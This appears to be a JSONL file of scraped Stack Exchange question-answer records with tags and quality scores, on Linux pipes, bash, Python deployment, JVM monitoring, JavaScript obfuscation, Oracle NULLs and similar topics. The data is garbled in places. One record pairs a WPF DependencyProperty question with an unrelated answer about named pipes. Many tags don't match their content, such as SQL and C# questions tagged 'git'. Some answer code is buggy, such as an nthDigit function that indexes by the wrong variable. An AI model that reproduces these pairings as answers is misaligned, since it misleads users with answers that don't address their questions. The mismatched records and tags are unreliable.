{"id": "hf_bdef4dd002c7", "question": "<p>What are the differences between pipes in Windows and Linux?</p>\n", "question_body": "", "answer": "One difference that I know of, is that named pipes under Linux are actual entries in the filesystem (you'll see it in a directory listing, they have a special type), whereas on Windows they are stored in some magical repository somewhere (they are all accessed via the path \"\\\\.\\pipe\\\".\nSecondly, in Linux you can just write/read from pipes as if they were any other file, using standard file IO methods. Whereas on windows, you have to use the special 'Pipe' functions which are part of the Win32 API.\nI like linux's method better, because it lets me use pipes with any app I want. Eg:\n```\n```\nmkfifo pipe.wav\ndecodeMP3 song.mp3 --out pipe.wav &\nencodeAVI video.mpeg pipe.wav --out video.avi\n```\n```\nThis lets me pipe the output of the MP3 decoder directly into the video decoder, instead of having to first decode the entire MP3 into a WAV file on disk. It's handy if you have a dual-core CPU, because then you are running both operations at once, for a nice speedup.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:24.319975"}
{"id": "hf_4de09a72570a", "question": "<p>I created a simple class with a DependencyProperty. When setting the value, I observe that ValidateValueCallback is called before CoerceValueCallback.</p>\n\n<p>On <a href=\"http://wpftutorial.net/How+does+a+DependencyProperty+resolve+its+value.htm\" rel=\"nofollow noreferrer\">wpftutorial</a> and in other books, it is stated that coercion is called before validation.</p>\n", "question_body": "", "answer": "One difference that I know of, is that named pipes under Linux are actual entries in the filesystem (you'll see it in a directory listing, they have a special type), whereas on Windows they are stored in some magical repository somewhere (they are all accessed via the path \"\\\\.\\pipe\\\".\nSecondly, in Linux you can just write/read from pipes as if they were any other file, using standard file IO methods. Whereas on windows, you have to use the special 'Pipe' functions which are part of the Win32 API.\nI like linux's method better, because it lets me use pipes with any app I want. Eg:\n```\n```\nmkfifo pipe.wav\ndecodeMP3 song.mp3 --out pipe.wav &\nencodeAVI video.mpeg pipe.wav --out video.avi\n```\n```\nThis lets me pipe the output of the MP3 decoder directly into the video decoder, instead of having to first decode the entire MP3 into a WAV file on disk. It's handy if you have a dual-core CPU, because then you are running both operations at once, for a nice speedup.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:24.436147"}
{"id": "hf_2017b0da82b6", "question": "<p>How can I determine the name of the Bash script file inside the script itself?</p>\n\n<p>Like if my script is in file <code>runme.sh</code>, then how would I make it to display \"You are running runme.sh\" message without hardcoding that?</p>\n", "question_body": "", "answer": "```\n```\nme=`basename \"$0\"`\n```\n```\nFor reading through a symlink\n1\n, which is usually not what you want (you usually don't want to confuse the user this way), try:\n```\n```\nme=\"$(basename \"$(test -L \"$0\" && readlink \"$0\" || echo \"$0\")\")\"\n```\n```\nIMO, that'll produce confusing output.  \"I ran foo.sh, but it's saying I'm running bar.sh!?  Must be a bug!\"   Besides, one of the purposes of having differently-named symlinks is to provide different functionality based on the name it's called as (think gzip and gunzip on some platforms).\n1\nThat is, to resolve symlinks such that when the user executes\n```\nfoo.sh\n```\nwhich is actually a symlink to\n```\nbar.sh\n```\n, you wish to use the resolved name\n```\nbar.sh\n```\nrather than\n```\nfoo.sh\n```\n.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:24.606239"}
{"id": "hf_954d4f85e957", "question": "<p>Has anyone implemented a very large EAV or open schema style database in SQL Server?  I'm wondering if there are performance issues with this and how you were able to overcome those obstacles.</p>\n", "question_body": "", "answer": "I'm not an expert on EAV, but several more experienced developers than I have commented that Magento's open-source e-commerce framework is slow primarily because of the EAV architecture through MySQL. The most obvious disadvantage can't easily be overcome. That being the difficulty with which it is to troubleshoot where and how information is represented for entities and attribute values as the size of the application increases. The second argument against EAV I have heard is that it requires table joins that get into low double digits, but it was commented that using InnoDB over MyISAM improved the performance some (or it could be vice-versa, but I can't remember totally).", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:24.834181"}
{"id": "hf_ffd5433be9d4", "question": "<p>How can I distribute a standalone Python application in Linux?</p>\n\n<p>I think I can take for granted the presence of a recent Python interpreter in any modern distribution. The problem is dealing with those libraries that do not belong to the standard library, i.e. wxPython, scipy, python cryptographic toolkit, reportlab, and so on.</p>\n\n<p>Is there a working Linux counterpart to, say, py2exe (which, by the way, I have never tried)?\nIs there a free, opensource one?</p>\n", "question_body": "", "answer": "Nope.\nPython is notoriously flaky with respect to different setups. The only sane way to deploy a python app is to ship the whole bundle of interpreter and libraries that you are relying on with your code. That will most likely work.\nUpdate 2019: I stand by this. Virtualenv is a way of packaging libraries and interpreters together. Tox is a testing tool to test that interpreter/dependency matrix. Docker is a widely used way of then deploying the bundle.", "tags": ["docker", "linux"], "source": "huggingface", "category": "docker", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:24.939676"}
{"id": "hf_c5ac0bd98da0", "question": "<p>I love the Ruby RSpec BDD development style.  Are there any good tools for doing this with C/C++?</p>\n", "question_body": "", "answer": "cspec\nis for C.  Presumably it will work with C++.  There is a list of tools for various languages on the\nBehavior Driven Development Wikipedia page\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:25.132442"}
{"id": "hf_4a0461fc119e", "question": "<p>I know we can use tools like JProfiler etc.\nIs there any tutorial on how to configure it to display the memory usage just by remote monitoring?</p>\n\n<p>Any idea?</p>\n", "question_body": "", "answer": "you have VisualGC, it's not very advanced but you can see the memory usage of your application (garbage,old, perm etc...)\nhttp://java.sun.com/performance/jvmstat/visualgc.html\nto resume : \nyou launch a daemon monitoring on the remote machine (\nhttp://java.sun.com/j2se/1.5.0/docs/tooldocs/share/jstatd.html\n, see the security parapraph)\n```\n```\nJAVA_HOME/bin/jstatd -J-Djava.security.policy=jstatd.all.policy\n```\n```\nwith a file here called\njstatd.all.policy\ncontaining :\n```\n```\ngrant codebase \"file:${java.home}/../lib/tools.jar\" {   \npermission java.security.AllPermission;\n};\n```\n```\non the remote machine you got the pid of your application to debug with the jps tool :\nhttp://java.sun.com/j2se/1.5.0/docs/tooldocs/share/jps.html#jps\nfinally on your local machine you launch the visualgc :\n```\n```\nvisualgc the_pid@remote_machine_address\n```\n```", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:25.271126"}
{"id": "hf_7256c3b7ce94", "question": "<p>I want to make a JavaScript application that's not open source, and thus I wish to learn how to can obfuscate my JS code? Is this possible?</p>\n", "question_body": "", "answer": "Obfuscation:\nTry\nYUI Compressor\n.  It's a very popular tool, built, enhanced and maintained by the Yahoo UI team.\nYou may also use:\nGoogle Closure Compiler\nUglifyJS\n```\nUPDATE: This question was originally asked on 2008, and The mentioned technologies are deprecated. you can use:\n```\nterser\n- more information in\nweb.dev\n.\nPrivate String Data:\nKeeping string values private is a different concern, and obfuscation won't really be of much benefit.  Of course, by packaging up your source into a garbled, minified mess, you have a light version of\nsecurity\nthrough\nobscurity\n.  Most of the time, it's your user who is viewing the source, and the string values on the client are intended for their use, so that sort of private string value isn't often necessary.\nIf you really had a value that you never wanted a user to see, you would have a couple of options.  First, you could do some kind of encryption, which is decrypted at page load.  That would probably be one of the most secure options, but also a lot of work which may be unnecessary.  You could probably base64 encode some string values, and that would be easier.. but someone who really wanted those string values could\neasily decode them\n.  Encryption is the only way to truly prevent anyone from accessing your data, and most people find that to be more security than they need.\nSidenote:\nObfuscation in Javascript has been known to cause some bugs. The obfuscators are getting a little better about it, but many outfits decide that they see enough benefit from\nminifying\nand\ngzipping\n, and the added savings of obfuscation\nisn't always worth the trouble\n.  If you're trying to protect your source, maybe you'll decide that it's worth your while, just to make your code harder to read.\nJSMin\nis a good alternative.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:25.401321"}
{"id": "hf_851fd4ed9830", "question": "<p>I have to implement the VinPower application.  They offer a Java version, a C dll and an ActiveX dll, if anyone has an idea on where I could begin, I'd appreciate it.</p>\n", "question_body": "", "answer": "A quick Google search shows that there is\nVinpower\nand there is\nVinPOWER\n. To which one are you referring?\nWhen you say \"implement\", are you looking at writing your own library that does the same thing as an existing product? Or did you mean to say \"integrate\" where you need to use a third party library within your existing project?\nIf your goal is to integrate, and the vendor supplies different versions of the library for different interfaces, I would pick the one that would be easiest to integrate with your existing project. For example, if your code is already in Java then I would pick the Java version of their library. If your code is in Visual Basic, then you might be best off with the ActiveX dll.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:25.547336"}
{"id": "hf_a4576a5e8885", "question": "<p>I'm developing non-interactive cpu-bound application which does only computations, almost no IO. Currently it works too long and while I'm working on improving the algorithm, I also think if it can give any benefit to change language or platform. Currently it is C++ (no OOP so it is almost C) on windows compiled with Intel C++ compiler. Can switching to ASM help and how much? Can switching to Linux and GCC help?</p>\n", "question_body": "", "answer": "Switching to ASM is not going to help much, unless you're very good at it and/or have a specific critical path routine which you know you can do better. As several people have remarked, modern compilers are just better in most cases at taking advantages of caching/etc. than anyone can do by hand.\nI'd suggest:\nTry a different compiler, and/or different optimization options\nRun a code coverage/analysis utility, and figure out where the critical paths are, and work on optimizing those in the code\nC++ should be able to give you very near the best possible performance from the code, so I wouldn't recommend switching the language. Depending on the app, you may be able to get better performance on multi code/processor systems using multiple thread, as another suggestion.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:25.672924"}
{"id": "hf_d30702e47bc8", "question": "<p>I need to pad the output of an integer to a given length.</p>\n\n<p>For example, with a length of 4 digits, the output of the integer 4 is \"0004\" instead of \"4\". How can I do this in C# 2.0?</p>\n", "question_body": "", "answer": "Use the string.Format command.\n```\n```\noutput = String.Format(\"{0:0000}\", intVariable);\n```\n```\nMore details:\nhttp://msdn.microsoft.com/en-us/library/fht0f5be.aspx", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:26.005151"}
{"id": "hf_3b9ab743a461", "question": "<p>How are arrays manipulated in D?</p>\n", "question_body": "", "answer": "Here\nyou can find a complete reference of array manipulations in D.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:26.150974"}
{"id": "hf_353e43f0b4d0", "question": "<p>How can I determine if I'm running on a 32bit or a 64bit version of matlab?</p>\n\n<p>I have some pre-compiled mex-files which need different path's depending on 32/64bit matlab.</p>\n", "question_body": "", "answer": "Does this really work? Which version of matlab are you using?\nAs far as I'm aware the 64 bit platforms end with \"64\" not 86. From the matlab site\nhttp://www.mathworks.com/access/helpdesk/help/techdoc/ref/computer.html\nI don't think that computer will ever return GLNXA86 but GLNXA64 instead.\nSo this question is specific to GNU Linux 32bit or 64bit version.\nIf you are testing for any 64bit platform then you probably need to test the last 2 characters to find \"64\" i.e. something like\n```\n```\nif regexp(computer,'..$','match','64'),\n   % setup 64bit options\nelse,\n   % 32bit options\nend\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:26.259540"}
{"id": "hf_fd9c5572221b", "question": "<p>I noticed when a file is executed on Windows (.exe or .dll), it is locked and cannot be deleted, moved or modified.</p>\n\n<p>Linux, on the other hand, does not lock executing files and you <em>can</em> delete, move, or modify them.</p>\n\n<p>Why does Windows lock when Linux does not? Is there an advantage to locking?</p>\n", "question_body": "", "answer": "I think linux / unix doesn't use the same locking mechanics because they are built from the ground up as a multi-user system - which would expect the possibility of multiple users using the same file, maybe even for different purposes.\nIs there an advantage to locking?  Well, it could possibly reduce the amount of pointers that the OS would have to manage, but now a days the amount of savings is pretty negligible. The biggest advantage I can think of to locking is this: you save some user-viewable ambiguity. If user a is running a binary file, and user b deletes it, then the actual file has to stick around until user A's process completes.  Yet, if User B or any other users look on the file system for it, they won't be able to find it - but it will continue to take up space.  Not really a huge concern to me.\nI think largely it's more of a question on backwards compatibility with window's file systems.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:26.382402"}
{"id": "hf_0215a96ba651", "question": "<p>Where is the location of my oracle event log (on a default Linux installation)?</p>\n", "question_body": "", "answer": "```\n```\nselect value from v$parameter where name = 'background_dump_dest'\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:26.494060"}
{"id": "hf_716198eb77db", "question": "<p>I'm in a Microsoft IE environment, but I want to use cygwin for a number of quick scripting tasks.</p>\n\n<p>How would I configure it to use my windows proxy information?  Ruby gems, ping, etc are all trying to make direct connections.  How can I get them to respect the proxy information that IE and firefox use?</p>\n", "question_body": "", "answer": "I doubt that your corporate firewall allows PING, but the others all appear to be one form of http or another.  On a Linux system, you can set your HTTP proxy as an environment variable, so in bash, type:\n```\n```\nexport http_proxy=http://www.myproxy.com:3128\n```\n```\nThere is a similar environment variable for FTP (ftp_proxy).", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:26.679951"}
{"id": "hf_b5a4948d0e4b", "question": "<p>What are the minimum OS requirements for each of the .Net frameworks?  E.g. for which version is it impossible to run each OS on:</p>\n\n<ul>\n<li>Windows 95</li>\n<li>Windows 98</li>\n<li>Windows 98SE</li>\n<li>Windows ME</li>\n<li>Windows NT 3.x</li>\n<li>Windows NT 4</li>\n<li>Windows 2000</li>\n</ul>\n\n<p>I believe all .Net frameworks are compatible w/ XP, Vista, Windows Server 2003, and Windows Server 2008 (please correct me on that if wrong).</p>\n", "question_body": "", "answer": "Microsoft .NET framework is supported on Windows 98 and up starting at version 1.0, with the following exceptions:\n```\n```\nWindows NT\nWindows Server 2003 (Itanium-based)\n```\n```\nAs an added note, I've been able to run .NET IL Portable Executables on platforms up to version 2.0 fairly reliably through Mono on Linux based machines.  Though it does run better if it is compiled in Mono.  For odd some reason, PE's compiled with the Mono package are closer to the written standards of the .NET IL than when compiled with the Microsoft .NET compilers.\n.NET 2.0 states on MSDN that it is compatible with Windows 98\n.NET 3.0/3.5 requires XP or above\n:\n```\n```\nMicrosoft Windows 2003 Server Service Pack 1 (SP1)\nWindows XP SP2\nWindows Vista *\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:26.884526"}
{"id": "hf_2cfa92b0941a", "question": "<p>My rails app is in a svn repository, but several of the plugins are installed through git and later added to the svn repo.  How can I update these plugins?  I can't seem to get script/plugin update to do anything.  I'd really like to update activemerchant to get rid of the Inflector warnings.</p>\n", "question_body": "", "answer": "You should just be able to navigate to the plugin's directory and hit:\n```\ngit pull\n```\n. I'm pretty sure that\n```\nscript/install plugin\n```\njust checks the code out from the git repo.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:27.033429"}
{"id": "hf_4a22cfc853f6", "question": "<p>How do I set gc.reflogExpire so that items will never expire?<br>\nWhat other time interval formats does it accept?</p>\n\n<p>The man page says that you can set it to \"90 days or 3 months,\" but doesn't specify what format it expects.</p>\n", "question_body": "", "answer": "I’m not sure where the format is documented, if at all, but\n```\ngit reflog\n```\nuses the\n```\napproxidate\n```\nfunction from\n```\ndate.c\n```\nto parse the expiry time. One of the possible values is “never.”", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:27.264875"}
{"id": "hf_d90c95a8bd89", "question": "<p>Is there a standard way to see how much stack space your app has and what the highest watermark for stack usage is during a run?</p>\n\n<p>Also in the dreaded case of actual overflow what happens? </p>\n\n<p>Does it crash, trigger an exception or signal? Is there a standard or is it different on all systems and compilers?</p>\n\n<p>I'm looking specifically for Windows, Linux and Macintosh. </p>\n", "question_body": "", "answer": "On\nWindows\na stack overflow\nexception\nwill be generated.\nThe following windows code illustrates this:\n```\n```\n#include <stdio.h>\n#include <windows.h>\n\nvoid StackOverFlow()\n{\n  CONTEXT context;\n\n  // we are interested control registers\n  context.ContextFlags = CONTEXT_CONTROL;\n\n  // get the details\n  GetThreadContext(GetCurrentThread(), &context);\n\n  // print the stack pointer\n  printf(\"Esp: %X\\n\", context.Esp);\n\n  // this will eventually overflow the stack\n  StackOverFlow();\n}\n\nDWORD ExceptionFilter(EXCEPTION_POINTERS *pointers, DWORD dwException)\n{\n  return EXCEPTION_EXECUTE_HANDLER;\n}\n\nvoid main()\n{\n  CONTEXT context;\n\n  // we are interested control registers\n  context.ContextFlags = CONTEXT_CONTROL;\n\n  // get the details\n  GetThreadContext(GetCurrentThread(), &context);\n\n  // print the stack pointer\n  printf(\"Esp: %X\\n\", context.Esp);\n\n  __try\n  {\n    // cause a stack overflow\n    StackOverFlow();\n  }\n  __except(ExceptionFilter(GetExceptionInformation(), GetExceptionCode()))\n  {\n    printf(\"\\n****** ExceptionFilter fired ******\\n\");\n  }\n}\n```\n```\nWhen this exe is run the following output is generated:\n```\n```\nEsp: 12FC4C\nEsp: 12F96C\nEsp: 12F68C\n.....\nEsp: 33D8C\nEsp: 33AAC\nEsp: 337CC\n\n****** ExceptionFilter fired ******\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:27.393357"}
{"id": "hf_2dcde2647e0c", "question": "<p>How can you round <em>any</em> number (not just integers > 0) to N significant digits?</p>\n\n<p>For example, if I want to round to three significant digits, I'm looking for a formula that could take:</p>\n\n<p>1,239,451 and return 1,240,000</p>\n\n<p>12.1257 and return 12.1</p>\n\n<p>.0681 and return .0681</p>\n\n<p>5 and return 5</p>\n\n<p>Naturally the algorithm should not be hard-coded to only handle N of 3, although that would be a start.</p>\n", "question_body": "", "answer": "SUMMARY:\n```\n```\ndouble roundit(double num, double N)\n{\n    double d = log10(num);\n    double power;\n    if (num > 0)\n    {\n        d = ceil(d);\n        power = -(d-N);\n    }\n    else\n    {\n        d = floor(d); \n        power = -(d-N);\n    }\n\n    return (int)(num * pow(10.0, power) + 0.5) * pow(10.0, -power);\n}\n```\n```\nSo you need to find the decimal place of the first non-zero digit, then save the next N-1 digits, then round the Nth digit based on the rest.\nWe can use log to do the first.\n```\n```\nlog 1239451 = 6.09\nlog 12.1257 = 1.08\nlog 0.0681  = -1.16\n```\n```\nSo for numbers > 0, take the ceil of the log. For numbers < 0, take the floor of the log.\nNow we have the digit\n```\nd\n```\n: 7 in the first case, 2 in the 2nd, -2 in the 3rd.\nWe have to round the\n```\n(d-N)\n```\nth digit. Something like:\n```\n```\ndouble roundedrest = num * pow(10, -(d-N));\n\npow(1239451, -4) = 123.9451\npow(12.1257, 1)  = 121.257\npow(0.0681, 4)   = 681\n```\n```\nThen do the standard rounding thing:\n```\n```\nroundedrest = (int)(roundedrest + 0.5);\n```\n```\nAnd undo the pow.\n```\n```\nroundednum = pow(roundedrest, -(power))\n```\n```\nWhere power is the power calculated above.\nAbout accuracy: Pyrolistical's answer is indeed closer to the real result. But note that you can't represent 12.1 exactly in any case. If you print the answers as follows:\n```\n```\nSystem.out.println(new BigDecimal(n));\n```\n```\nThe answers are:\n```\n```\nPyro's: 12.0999999999999996447286321199499070644378662109375\nMine: 12.10000000000000142108547152020037174224853515625\nPrinting 12.1 directly: 12.0999999999999996447286321199499070644378662109375\n```\n```\nSo, use Pyro's answer!", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:27.835648"}
{"id": "hf_2169940f2874", "question": "<p>Especially when considering a fresh Rails project, what does your version control and deployment workflow look like? What tools do you use?</p>\n\n<p>I'm interested in answers for Mac, *nix and Windows work machines. Assume a *nix server.</p>\n\n<p>I'll edit for clarity if need be.</p>\n", "question_body": "", "answer": "Create a copy of my personal Rails 2.1.1 template with preinstalled plugins and frozen gems.\nChange DB passwords, session secret/name and\n```\ndeploy.rb\n```\n.\nCreate a private or public repository on GitHub as needed.\nPush the empty rails project to GitHub.\nSSH to Server and configure apache (copy Virtual Host file and mongrel config files from old project)\nCreate empty database on MySQL server\n```\ncap deploy:setup && cap deploy:cold\n```\nIf everything works so far: Start developing and committing to GitHub.\n```\ncap deploy\n```\nas needed.\nUpdate:\nDon't forget to write tests for\neverything\nyou do!", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:28.099422"}
{"id": "hf_0e38c534cdc8", "question": "<p>Anyone visiting a torrent tracker is sure to find droves of \"cracked\" programs ranging from simple shareware to software suites costing thousands of dollars.  It seems that as long as the program does not rely on a remote service (e.g. an MMORPG) that any built-in copy protection or user authentication is useless.</p>\n\n<p>Is it effectively not possible to prevent a cracker from circumventing the copy protection?  Why?</p>\n", "question_body": "", "answer": "Copy-protection is like security -- it's impossible to achieve 100% perfection but you can add layers that make it successively more difficult to crack.\nMost applications have some point where they ask (themselves), \"Is the license valid?\"  The hacker just needs to find that point and alter the compiled code to return \"yes.\"  Alternatively, crackers can use brute-force to try different license keys until one works.  There's also social factors -- once one person buys the tool they might post a valid license code on the Internet.\nSo, code obfuscation makes it more difficult (but not impossible) to find the code to alter.  Digital signing of the binaries makes it more difficult to change the code, but still not impossible.  Brute-force methods can be combated with long license codes with lots of error-correction bits.  Social attacks can be mitigated by requiring a name, email, and phone number that is\npart of the license code itself\n.  I've used that method to great effect.\nGood luck!", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:28.268530"}
{"id": "hf_c3c1a3079ebe", "question": "<p>I know that it <em>does</em> consider ' ' as <code>NULL</code>, but that doesn't do much to tell me <em>why</em> this is the case.  As I understand the SQL specifications, ' ' is not the same as <code>NULL</code> -- one is a valid datum, and the other is indicating the absence of that same information.</p>\n\n<p>Feel free to speculate, but please indicate if that's the case.  If there's anyone from Oracle who can comment on it, that'd be fantastic!</p>\n", "question_body": "", "answer": "Indeed, I have had nothing but difficulties in dealing with Oracle, including invalid datetime values (cannot be printed, converted or anything, just looked at with the DUMP() function) which are\nallowed\nto be inserted into the database, apparently through some buggy version of the client as a binary column!  So much for protecting database integrity!\nOracle handling of NULLs links:\nhttp://digitalbush.com/2007/10/27/oracle-9i-null-behavior/\nhttp://jeffkemponoracle.com/2006/02/empty-string-andor-null.html", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:28.422526"}
{"id": "hf_49d98f8f7243", "question": "<p>I am writing a program in Python that will act as a server and accept data from a client, is it a good idea to impose a hard limit as to the amount of data, if so why?</p>\n\n<p>More info:\nSo certain chat programs limit the amount of text one can send per send (i.e. per time user presses send) so the question comes down to is there a legit reason for this and if yes, what is it?</p>\n", "question_body": "", "answer": "What is your question exactly?\nWhat happens when you do receive on a socket is that the current available data in the socket buffer is immediately returned. If you give receive (or read, I guess), a huge buffer size, such as 40000, it'll likely never return that much data at once. If you give it a tiny buffer size like 100, then it'll return the 100 bytes it has immediately and still have more available. Either way, you're not imposing a limit on how much data the client is sending you.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:28.563632"}
{"id": "hf_0988945887d6", "question": "<p>Example. 123456, and we want the third from the right ('4') out.</p>\n\n<p>The idea in practise is to access each digit seperately (ie. 6 5 4 3 2 1).</p>\n\n<p>C/C++/C# preferred.</p>\n", "question_body": "", "answer": "In C you could do something like the following, where n=0 would indicate the rightmost digit\n```\n```\nchar nthDigitFromRight(int x,int n)\n{\n    char str[20];\n    sprintf(str,\"%020d\",x);\n    return(str[19 - x]);\n}\n```\n```\nChange [19-x] to [20-x] if you want n=1 for rightmost digit.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:28.684096"}
{"id": "hf_863c281225e5", "question": "<p>I would like to access the work items in our TFS programmatically. Shouldn't there be an obvious command line tool to extract such information? Or a WebService I can just call? I already have checked into using Excel - this is neat, but I want more hardcore...</p>\n", "question_body": "", "answer": "Take a look at the TFS API (\nhttp://msdn.microsoft.com/en-us/library/bb130146(VS.80).aspx\n).  Access to the same code used by Microsoft to create the Visual Studio integration and their version control command line tool (\ntf.exe\n).\nYou can also take a look at the power tools.\ntfpt.exe\nis the power tool command line and has many other advanced features.  That said - you can do pretty much what you want with the SDK.\nThe new version of the power tools will be out soon, and that looks to have\nPowershell support\ncoming\nEnjoy!", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:28.896282"}
{"id": "hf_4b97338cb46d", "question": "<p>I have an alert script that I am trying to keep from spamming me so I'd like to place a condition that if an alert has been sent within, say the last hour, to not send another alert.  Now I have a cron job that checks the condition every minute because I need to be alerted quickly when the condition is met but I don't need to get the email every munite until I get the issue under control.  What is the best way to compare time in bash to accomplish this?</p>\n", "question_body": "", "answer": "Use \"test\":\n```\n```\nif test file1 -nt file2; then\n   # file1 is newer than file2\nfi\n```\n```\nEDIT: If you want to know when an event occurred, you can use \"touch\" to create a file which you can later compare using \"test\".", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:29.195952"}
